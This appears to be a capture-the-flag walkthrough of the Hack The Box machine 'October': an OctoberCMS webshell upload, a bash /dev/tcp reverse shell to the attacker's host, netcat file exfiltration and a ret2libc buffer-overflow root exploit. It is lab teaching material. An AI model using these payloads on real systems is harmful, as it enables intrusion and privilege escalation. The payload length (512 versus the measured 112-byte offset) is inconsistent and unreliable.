October

Enumeration

As always, we start with the enumeration phase, in which we try to scan the machine looking for open ports and finding out services and versions of those opened ports.

The following nmap command will scan the target machine looking for open ports in a fast way and saving the output into a file:

nmap -sS --min-rate 5000 -p- -T5 -Pn -n 10.10.10.16 -oN allPorts

  • -sS use the TCP SYN scan option. This scan option is relatively unobtrusive and stealthy, since it never completes TCP connections.

  • --min-rate 5000 nmap will try to keep the sending rate at or above 5000 packets per second.

  • -p- scanning the entire port range, from 1 to 65535.

  • -T5 insane mode, it is the fastest mode of the nmap time template.

  • -Pn assume the host is online.

  • -n scan without reverse DNS resolution.

  • -oN save the scan result into a file, in this case the allports file.

Now that we know which ports are open, let's try to obtain the services and versions running on these ports. The following command will scan these ports more in depth and save the result into a file:

nmap -sC -sV -p22,80 10.10.10.16 -oN targeted

  • -sC performs the scan using the default set of scripts.

  • -sV enables version detection.

  • -oN save the scan result into file, in this case the targeted file.

The web server is running OctoberCMS.

Exploitation

If we search on the internet for common OctoberCMS vulnerabilities, we'll find one which allows us to bypass PHP upload protection. There is a login page in /backend, which has admin as the default username and password.

Now, we'll have to create the pwn.php5 webshell.

Then, upload it to Media.

Once it is uploaded, we could run commands in the system.

http://10.10.10.16/storage/app/media/pwn.php5?cmd=whoami

Time to get a shell. First, set a netcat listener on port 4444.

nc -lvnp 4444

  • -l listen mode.

  • -v verbose mode.

  • -n numeric-only IP, no DNS resolution.

  • -p specify the port to listen on.

Get a shell as www-data and we'll be able to grab the user flag.

http://10.10.10.16/storage/app/media/pwn.php5?cmd=bash -c "bash -i >%26 /dev/tcp/10.10.14.5/4444 0>%261"

Privilege Escalation

First, let's set an interactive TTY shell.

script /dev/null -c /bin/bash

Then I press Ctrl+Z and execute the following command on my local machine:

stty raw -echo; fg

reset

Terminal type? xterm

Next, I export a few variables:

export TERM=xterm

export SHELL=bash

Finally, I run the following command on our local machine:

stty size

And set the proper dimensions in the victim machine:

stty rows 51 columns 236

If we check SUID binaries, we'll find one called ovrflw.

find / -perm /4000 2>/dev/null

The binary asks for an input string.

/usr/local/bin/ovrflw

If we run the binary giving a bunch of A characters as an argument, it will crash. This means that it might be vulnerable to a buffer overflow.

/usr/local/bin/ovrflw AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Let's transfer the file with netcat to our local machine for further inspection.

nc -lvnp 5555 > ovrflw

nc 10.10.14.5 5555 < /usr/local/bin/ovrflw

Now, run it with gdb.

chmod +x ovrflw

gdb ./ovrflw

Note that I am using gef. The same way as before, if I run the script with a bunch of A characters, it will crash, and I'll be able to see all the registries filled with 41.

gef➀ r $(python -c "print('A'*500)")

The program only has the NX memory protection enabled.

Data Execution Prevention (DEP) or No-Execute (NX) works with the processor to help prevent buffer overflow attacks by blocking code execution from memory that is marked as non-executable.

gef➀ checksec

But, we can see that ASLR is enabled on the victim machine.

Address space layout randomization (ASLR) is a memory-protection process for operating systems that guards against buffer-overflow attacks by randomizing the location where system executables are loaded into memory.

cat /proc/sys/kernel/randomize_va_space

The address of libc changes every time the binary gets executed.

for i in $(seq 1 5); do ldd /usr/local/bin/ovrflw | grep libc | awk '{print $4}'; done

As ASLR is enabled, and the NX memory protection is enabled, the easiest way of exploiting this buffer overflow vulnerability is doing a Return to libc attack.

Return to libc is a tactic used for executing code that is not on the stack but in a sector of memory that is executable, for example in libc. The code used to break the program are functions within this library.

First, let's check at what point we start overwriting the EIP. Create a pattern with gef.

gef➀ pattern create 1000

And execute the program giving the pattern as the third argument.

gef➀ r aaaab...yaaj

As we see, the EIP has the vale daab. With that value, we could see that the offset is 112.

gef➀ pattern offset $eip

Now, as I have control of the EIP, I could fill it with B characters.

gef➀ r $(python -c "print('A'*112+'B'*4+'C'*8)")

To exploit Return to Libc, and be able to spawn a shell as root, we'll need the system address, the exit address, the /bin/bash address and the base_libc address. First, we have to get the base_libc address from the victim machine. This address changes every time we execute the binary because ASLR is enabled on the system. But, as this is a 32 bits system, we could pick a random one, and execute the final exploit multiple times, so when the base_libc address match, the root shell will appear. In this case is 0xb75a0000.

ldd /usr/local/bin/ovrflw

We can see that the offset of the system and exit functions are 0x00040310 and 0x00033260.

readelf -s /lib/i386-linux-gnu/libc.so.6 | grep -E " system@@| exit@@"

  • -s display the symbol table.

Finally, we'll need the offset of the /bin/sh function, which is 0x00162bac.

strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep "/bin/sh"

  • -a scan the entire file.

  • -t x print the location of the string in base 16.

Now, that I have the function's offset and the base_lib address, I can calculate the system, exit and /bin/sh addresses by adding the offset to the base_lib address.

The final payload will be the initial 512 A characters, the system address, the exit address and the /bin/sh address. The following script will calculate all the addresses, and print the final payload.

nano /tmp/bof.py

Finally, if we make a loop of 1000 iterations, run the ovrflw binary, and running the python script as the argument of the binary, at some point, the base_libc addresses will match, and we'll get a shell as root. Then, all we have to do is reap the harvest and take the root flag.

for i in $(seq 1 1000); do /usr/local/bin/ovrflw $(python /tmp/bof.py); done

Last updated

Was this helpful?